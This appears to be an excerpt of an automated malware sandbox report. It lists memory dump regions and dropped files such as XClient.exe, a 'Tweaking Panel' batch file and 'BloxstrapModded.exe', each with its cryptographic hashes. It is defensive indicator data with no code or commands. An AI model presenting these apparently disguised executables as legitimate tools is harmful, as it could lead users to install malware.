memory/3656-104-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/2296-103-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/540-109-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/1588-113-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/2384-112-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/908-111-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/536-110-0x00007FFBD62B0000-0x00007FFBD62C0000-memory.dmp
memory/4904-147-0x000001BA64440000-0x000001BA6445A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\XClient.exe
| MD5 | 0fb3f139d75ee4eea2534888119a806a |
| SHA1 | 4b7c5acf3fe2f8747aab6ab435cef62e412af50f |
| SHA256 | 1205e0a83a985af8aef13faa3bc97f11716cb3a1178c0a3b24ed90e2622d45f9 |
| SHA512 | b809ba4c024dc449b454be4581b595cbb9bdda40cb5453df5a9d377ce12c70ed8b0dd5e0cf1ef4c268d0fb8f619885a073f65416e27797d3cf618f6a1f000651 |
memory/216-160-0x0000000000110000-0x000000000012A000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\Rizzsxn_Tweaking_Panel.bat
| MD5 | e03a31f264e58472bd637efcad0d1a03 |
| SHA1 | 3796dd30aebcf3aa6d006d5dddd7d2864e14963e |
| SHA256 | 2097980870ce3cb140d151b4e681a4ee28d6d27e751727a84b929b4e03d48673 |
| SHA512 | ccfc0eeeb3a8a758bea0d3c85df3fee825516f416d429d3f1bd4d40797a989485ca3b6c12a827b1525bef2c17f86fe26c8bc30cc5eae025af039fa2d4535202d |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 12c844ed8342738dacc6eb0072c43257 |
| SHA1 | b7f2f9e3ec4aaf5e2996720f129cd64887ac91d7 |
| SHA256 | 2afeb7db4e46d3c1524512a73448e9cd0121deec761d8aa54fa9fe8b56df7519 |
| SHA512 | e3de9103533a69cccc36cd377297ba3ec9bd7a1159e1349d2cc01ab66a88a5a82b4ee3af61fab586a0cdfab915c7408735439fd0462c5c2cc2c787cb0765766a |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
| MD5 | a26df49623eff12a70a93f649776dab7 |
| SHA1 | efb53bd0df3ac34bd119adf8788127ad57e53803 |
| SHA256 | 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245 |
| SHA512 | e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 2979eabc783eaca50de7be23dd4eafcf |
| SHA1 | d709ce5f3a06b7958a67e20870bfd95b83cad2ea |
| SHA256 | 006cca90e78fbb571532a83082ac6712721a34ea4b21f490058ffb3f521f4903 |
| SHA512 | 92bc433990572d9427d0c93eef9bd1cc23fa00ed60dd0c9c983d87d3421e02ce3f156c6f88fe916ef6782dbf185cbce083bc0094f8c527f302be6a37d1c53aba |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 51cf8df21f531e31f7740b4ec487a48a |
| SHA1 | 40c6a73b22d71625a62df109aefc92a5f9b9d13e |
| SHA256 | 263d9b98a897d1d66da4832af640c4bf5ab0ae91125ba12243453dfe714f3d0d |
| SHA512 | 57a85461f6ea96b26a8b53d3a9cca18543e4ddbe996e8f412fc4cf7cf6e9ffe558c96da7b322a42f18bef62020e65aee119bed6102f75e2f605df09b02ec6368 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 3b444d3f0ddea49d84cc7b3972abe0e6 |
| SHA1 | 0a896b3808e68d5d72c2655621f43b0b2c65ae02 |
| SHA256 | ab075b491d20c6f66c7bd40b57538c1cfdaab5aac4715bfe3bbc7f4745860a74 |
| SHA512 | eb0ab5d68472ec42de4c9b6d84306d7bca3874be1d0ac572030a070f21a698432418068e1a6006ff88480be8c8f54c769dee74b2def403f734109dba7261f36b |
C:\Users\Admin\AppData\Roaming\BloxstrapModded.exe
| MD5 | 04029e121a0cfa5991749937dd22a1d9 |
| SHA1 | f43d9bb316e30ae1a3494ac5b0624f6bea1bf054 |
| SHA256 | 9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f |
| SHA512 | 6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b |